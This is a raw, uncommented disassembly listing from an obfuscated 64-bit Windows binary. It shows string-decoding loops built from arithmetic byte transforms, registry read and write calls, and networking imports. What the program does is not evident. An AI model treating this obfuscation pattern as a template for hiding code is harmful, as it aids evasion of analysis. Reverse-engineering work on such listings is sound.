mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
movzx eax, byte [rbp + rbx - 0x80]
add cl, cl
add rax, r9
add cl, r10b
add rbx, rax
add dl, cl
inc rbx
jmp 0x1400d46f3
lea edx, [rbx + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400d51f3
lea edx, [rbx + 0x26]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0xa
jmp 0x1400d51ce
lea ecx, [rbx + 8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x38
jmp 0x1400d519e
lea ecx, [rbx - 0x16]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x66
add r8, r9
jmp 0x1400d519e
movzx r11d, bl
movzx eax, r10b
mov ecx, gethostname
lea edx, [r11 - 0x34]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d5162
lea edx, [rbx - 0x52]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_32
sub cl, al
dec rbx
add cl, cl
add cl, r10b
add dl, cl
inc rbx
jmp 0x1400d46f3
lea edx, [rbx - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
inc r9
add cl, cl
dec rbx
add cl, r10b
add dl, cl
inc rbx
jmp 0x1400d46f3
movzx r11d, bl
movzx eax, r10b
movzx ecx, r10b
lea edx, [r11 + 0x72]
and al, dl
add al, al
sub cl, al
sub dl, 0x1e
jmp 0x1400d50fd
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400d4d3d
lea edx, [rbx - 0x71]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x17
jmp 0x1400d4bce
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d4d6e
lea ecx, [rbx + 0x76]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
lea edx, [rcx + r10]
sub dl, 0x3a
inc rbx
jmp 0x1400d46f3
inc rax
cmp r8, rax
jne 0x1400d4d90
lea edx, [rbx - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d51ce
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4db5
lea edx, [rbx - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400d519e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d4ddd
lea edx, [rbx - 0x12]
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r8, r9
jmp 0x1400d519e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d4dfc
movzx r11d, bl
movzx eax, r10b
lea edx, [r11 + 0xc]
and al, dl
sub dl, 0x54
jmp 0x1400d515a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d4e25
lea ecx, [rbx + 0x2a]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x26
inc rbx
jmp 0x1400d46f3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d4bd0
movzx r11d, bl
movzx eax, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
lea edx, [r11 + 0x66]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d50fd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d4e78
movzx r11d, bl
movzx eax, r10b
movzx ecx, r10b
lea edx, [r11 + 0x31]
and al, dl
add al, al
sub cl, al
sub dl, 0x57
jmp 0x1400d50fd
inc rax
cmp r8, rax
jne 0x1400d4e96
movzx r11d, bl
movzx eax, r10b
lea edx, [r11 - 0x75]
and al, dl
add dl, 0x33
jmp 0x1400d515a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4ebc
lea ecx, [rbx - 0x57]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x61
add r8, r9
jmp 0x1400d519e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d4ee0
lea edx, [rbx + 3]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x15
sub cl, al
add dl, cl
jmp 0x1400d51f3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d4b89
lea ecx, [rbx + 0x21]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
lea edx, [rcx + r10]
add dl, 0x19
inc rbx
jmp 0x1400d46f3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d4f46
lea ecx, [rbx - 0x14]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
lea edx, [rcx + r10]
sub dl, 0x74
inc rbx
jmp 0x1400d46f3
inc rax
cmp r8, rax
jne 0x1400d4f67
lea edx, [rbx + 0x28]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x18
jmp 0x1400d51ce
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d4f8f
lea edx, [rbx + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r8, r9
jmp 0x1400d519e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d4fb7
movzx r11d, bl
movzx eax, r10b
mov ecx, reloc.WS2_32.dll_gethostname
lea edx, [r11 - 0x7e]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d5162
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4fe0
lea ecx, [rbx - 0x60]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x60
inc rbx
jmp 0x1400d46f3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d4b49
movzx r11d, bl
movzx eax, r10b
movzx ecx, r10b
lea edx, [r11 - 0x24]
and al, dl
add al, al
sub cl, al
sub dl, 4
jmp 0x1400d50fd
movzx ecx, byte [rbp + rbx - 0x80]
movzx r11d, bl
movzx eax, r10b
lea edx, [r11 + 0x18]
and al, dl
sub cl, al
add cl, 0x2c
add cl, cl
jmp 0x1400d5162
lea edx, [rbx + 0x36]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx - 0x80]
sub dl, 0x7a
jmp 0x1400d51ce
lea ecx, [rbx - 0x37]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
lea edx, [rcx + r10]
sub dl, 0x7f
inc rbx
jmp 0x1400d46f3
lea ecx, [rbx + 0x6f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 9
jmp 0x1400d519e
lea ecx, [rbx + 0x51]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x37
add r8, r9
jmp 0x1400d519e
lea ecx, [rbx - 9]
movzx eax, r10b
and al, cl
inc r9
add al, al
dec rbx
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x3f
inc rbx
jmp 0x1400d46f3
movzx r11d, bl
movzx eax, r10b
movzx ecx, r10b
lea edx, [r11 - 0x27]
and al, dl
add al, al
sub cl, al
add dl, 0x11
jmp 0x1400d50fd
movzx r11d, bl
movzx eax, r10b
movzx ecx, r10b
lea edx, [r11 - 0x63]
and al, dl
add al, al
sub cl, al
sub dl, 0x4b
add dl, cl
sub r11b, 0x77
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x41
add r11b, r10b
mov byte [rbp + rbx - 0x80], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d46f3
lea ecx, [rbx + 0x61]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x59
dec rbx
inc rbx
jmp 0x1400d46f3
movzx r11d, bl
movzx eax, r10b
lea edx, [r11 + 0x43]
and al, dl
add dl, 0x2b
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
sub r11b, 0x59
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x6f
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx - 0x80], r11b
add r8, r9
jmp 0x1400d519e
lea rcx, [rbx + r14]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x31
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d46f3
movzx r10d, r11b
lea rcx, [rbx + r12]
and r11b, cl
movzx edx, r10b
add r11b, r11b
sub dl, r11b
sub dl, 0x5f
add dl, cl
lea ecx, [rbx - 0x3b]
inc r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x63
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx - 0x80], al
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x54]
inc r8
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x4c
add cl, r10b
mov byte [rbp + rbx - 0x80], cl
add rbx, rax
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d46f3
lea rcx, [rbx + r15]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x45
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d46f3
add bl, 0x4b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea edx, [rbx + r10]
sub dl, 0xd
jmp 0x1400d46f0
add bl, 0x2d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea edx, [rbx + r10]
sub dl, 0x3b
jmp 0x1400d46e0
lea r8, [rbp + 0x1679394]
jmp 0x1400d52a0
lea r8, [rbp + 0x1717b23]
jmp 0x1400d52a0
lea r8, [rbp - 0x80]
mov rcx, qword [rbp + 0x270]
lea rax, [rbp + 0x260]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x268]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1400d760f
cmp dword [rbp + 0x268], 1
jne 0x1400d760f
movzx r10d, byte [rbp + 0x260]
xor eax, eax
mov qword [rbp - 0x58], rax
movabs rsi, 0x4add299708456019
mov word [rbp - 0x50], ax
movabs r14, 0xa1c6764f4a7060e1
mov dword [rbp + 0x268], r13d
movabs r15, 0xe0977cc518d0204b
mov dword [rbp - 0x60], 0xd0b07ed
mov dword [rbp - 0x5c], 0x8f0c0a06
nop dword [rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rdi, r13
cmp rdi, 0x12
jae 0x1400d5e26
movzx r11d, byte [rbp + rdi - 0x60]
mov rdx, r11
cmp r8, rdi
ja 0x1400d5e1d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d5383
lea rcx, [rdi + rsi]
movzx eax, dl
and al, cl
movzx r10d, dl
add al, al
sub r10b, al
add r10b, 0x51
add r10b, cl
jmp 0x1400d53b0
je 0x1400d5db2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d5d84
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d5d69
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d5d2a
cmp r9, rdi
ja 0x1400d5e14
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400d53db
lea r10d, [rdi + 0xd]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x5b
add r10b, r11b
jmp 0x1400d5410
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d5ce8
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d5cc7
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d5cac
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d5c55
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d596d
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400d594f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d5927
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d5902
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d58e4
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d58c2
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d58a8
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d588e
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d586f
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d5847
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d5420
lea r8, [r9 + 4]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400d5df7
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d5dda
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d5615
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d55f9
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d55dd
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400d5800
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400d57b9
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d577a
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d5758
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400d5420
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d572b
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d5711
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400d56f2
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d56d8
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d56bb
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d5698
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d5678
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400d5655
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d5631
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d5420
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x80]
jmp 0x1400d5420
lea r10d, [rdi - 0x6d]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 5
add r10b, r11b
jmp 0x1400d5410
lea r10d, [rdi + 0x61]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x59
add r10b, r11b
jmp 0x1400d53b0
lea r10d, [rdi + 0x2f]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x49
add r10b, r11b
jmp 0x1400d5353
lea ecx, [rdi + 0x68]
mov r10d, reloc.WS2_32.dll_sendto
movzx eax, cl
movzx ebx, dil
and al, r11b
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, r11b
jmp 0x1400d5d05
lea ecx, [rdi + 0x36]
inc r9
movzx eax, cl
dec rdi
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
inc rdi
jmp 0x1400d5343
lea ecx, [rdi + 4]
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
inc rdi
jmp 0x1400d5343
lea edx, [rdi - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
movzx eax, dl
movzx ebx, dil
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d5d47
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
add r8, r9
jmp 0x1400d5d99
lea ecx, [rdi + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x1400d5d99
lea edx, [rdi + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d5c30
lea ecx, [rdi + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
jmp 0x1400d5c6e
lea edx, [rdi - 0x28]
mov ecx, ntohl
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400d5343
lea ecx, [rdi + 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
mov byte [rbp + rdi - 0x60], r10b
inc rdi
jmp 0x1400d5343
lea ecx, [rdi + 0x29]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1f
cmp r9, 2
jb 0x1400d576d
movzx ecx, r11b
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx - 0xa]
and al, dl
add al, al
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x74]
jmp 0x1400d5d05
lea ecx, [rdi - 9]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3f
cmp r8, 9
jae 0x1400d5bfb
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400d5b69
lea edx, [rdi + 2]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0xe
add r10b, dl
jmp 0x1400d578f
lea ecx, [rdi - 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x1400d5c1f
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x1400d5a6f
lea ecx, [rdi - 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4d
jmp 0x1400d57ce
lea ecx, [rdi + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x22
inc rdi
jmp 0x1400d5343
lea edx, [rdi + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d5c6e
lea ecx, [rdi - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
jmp 0x1400d5c30
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x1400d5d99
lea edx, [rdi - 0x7a]
mov ecx, Ordinal_45
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
jmp 0x1400d5d99
movzx ebx, dil
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x1400d5d47
lea edx, [rdi + 0x22]
mov ecx, 9
movzx eax, dl
dec rdi
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400d5343
lea edx, [rdi - 0x10]
mov ecx, Ordinal_60
movzx eax, dl
inc r9
and al, r11b
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400d5343
movzx ebx, dil
lea ecx, [rbx - 0x42]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
jmp 0x1400d5d05
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400d5990
lea ecx, [rdi + 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x51
jmp 0x1400d5815
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d59c6
lea edx, [rdi + 0x1a]
mov ecx, Ordinal_41
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400d5343
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d59e9
lea ecx, [rdi + 0x7e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
jmp 0x1400d5c30
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d5a11
lea edx, [rdi - 0x50]
mov ecx, Ordinal_27
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d5d99
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d5a3d
mov ecx, Ordinal_60
movzx ebx, dil
lea edx, [rbx + 0x14]
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d5d47
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d5815
lea edx, [rdi + 0x46]
mov ecx, ntohl
movzx eax, dl
dec rdi
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400d5343
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d5a96
movzx ebx, dil
lea ecx, [rbx + 0x27]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x11
jmp 0x1400d5d05
inc rax
cmp r8, rax
jne 0x1400d5ac2
lea ecx, [rdi + 0x59]
movzx eax, r11b
and al, cl
inc r9
add al, al
dec rdi
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6f
inc rdi
jmp 0x1400d5343
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d5aec
lea ecx, [rdi - 0x75]
movzx eax, r11b
and al, cl
dec rdi
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x33
inc rdi
jmp 0x1400d5343
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d5b10
lea ecx, [rdi + 0x21]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x19
jmp 0x1400d5d99
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d5b34
lea edx, [rdi - 0x7b]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 0x5d
jmp 0x1400d5c6b
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d57ce
lea ecx, [rdi - 0x49]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + r11]
dec r10b
inc rdi
jmp 0x1400d5343
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d5b9b
lea ecx, [rdi + 0x34]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + r11]
sub r10b, 0x6c
inc rdi
jmp 0x1400d5343
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d5bc6
lea edx, [rdi - 4]
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
jmp 0x1400d5d99
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d578f
lea edx, [rdi - 0x6e]
mov ecx, 1
movzx eax, r11b
inc r9
and al, dl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1400d5343
movzx r10d, byte [rbp + rdi - 0x60]
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx + 0x28]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, r11b
jmp 0x1400d5d44
lea ecx, [rdi + 0x5a]
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea r10d, [rcx - 0x76]
lea ecx, [rdi + 0x73]
inc r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x25
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi - 0x60], al
add rax, r9
sub rdi, rax
jmp 0x1400d5c6e
lea edx, [rdi - 0x63]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x4b
add r10b, dl
lea edx, [rdi - 0x74]
inc r8
movzx eax, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
and al, r11b
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi - 0x60], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d5343
lea ecx, [rdi + 0x39]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x71
jmp 0x1400d5d99
lea ecx, [rdi - 0x5d]
movzx eax, r11b
and al, cl
dec rdi
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x75
inc rdi
jmp 0x1400d5343
movzx ebx, dil
movzx eax, r11b
movzx r10d, r11b
lea edx, [rbx + 0x3f]
and al, dl
add al, al
sub r10b, al
add r10b, 0x47
add r10b, dl
add bl, 0xf
movzx eax, bl
and al, r11b
add al, al
sub bl, al
sub bl, 0x69
add bl, r11b
mov byte [rbp + rdi - 0x60], bl
inc r9
dec rdi
inc rdi
jmp 0x1400d5343
movzx ebx, dil
movzx eax, r11b
movzx r10d, r11b
lea edx, [rbx + 0x45]
and al, dl
add al, al
sub r10b, al
add r10b, 0x1d
add r10b, dl
add bl, 0x41
movzx ecx, r10b
movzx eax, bl
and al, r11b
add al, al
sub cl, al
add cl, 0x39
add cl, bl
add cl, r11b
mov byte [rbp + rdi - 0x60], cl
add r8, r9
jmp 0x1400d5d99
lea ecx, [rdi + 0x13]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x7b
add r8, r9
jmp 0x1400d5d99
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x27
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d5343
lea rcx, [rdi + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0xd
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d5343
sub dil, 3
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
add r10b, 0x15
jmp 0x1400d5340
sub dil, 0x35
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
add r10b, 0x73
jmp 0x1400d5330
lea rdx, [rbp + 0x15c906c]
jmp 0x1400d5e2a
lea rdx, [rbp + 0xe1f085]
jmp 0x1400d5e2a
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x270]
lea rax, [rbp + 0x268]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400d760f
movzx edx, byte [rbp + 0x260]
xor eax, eax
mov qword [rbp + 0x210], rax
movabs rsi, 0xd063da7611f5e363
mov byte [rbp + 0x218], al
movabs r14, 0x5382ae26a1a4fe7b
mov dword [rbp + 0x190], 0x7c42409b
movabs r12, 0xb2baf93a7db937b5
mov dword [rbp + 0x194], 0x4e4196b2
movabs r15, 0x712b8f6235e1aa29
mov dword [rbp + 0x198], 0x70447a4a
mov dword [rbp + 0x19c], 0x5ea4534b
mov dword [rbp + 0x1a0], 0x6ca05c65
mov dword [rbp + 0x1a4], 0x5b6e6e54
mov dword [rbp + 0x1a8], 0x68a86561
mov dword [rbp + 0x1ac], 0x9f54995c
mov dword [rbp + 0x1b0], 0x9150ac95
mov dword [rbp + 0x1b4], 0x5faa929d
mov dword [rbp + 0x1b8], 0x98a59292
mov dword [rbp + 0x1bc], 0x8b8bb198
mov dword [rbp + 0x1c0], 0xb29b4170
mov dword [rbp + 0x1c4], 0x80ba4dbd
mov dword [rbp + 0x1c8], 0xb7488581
mov dword [rbp + 0x1cc], 0xb88675bb
mov dword [rbp + 0x1d0], 0x81b38d8b
mov dword [rbp + 0x1d4], 0x8e877d8e
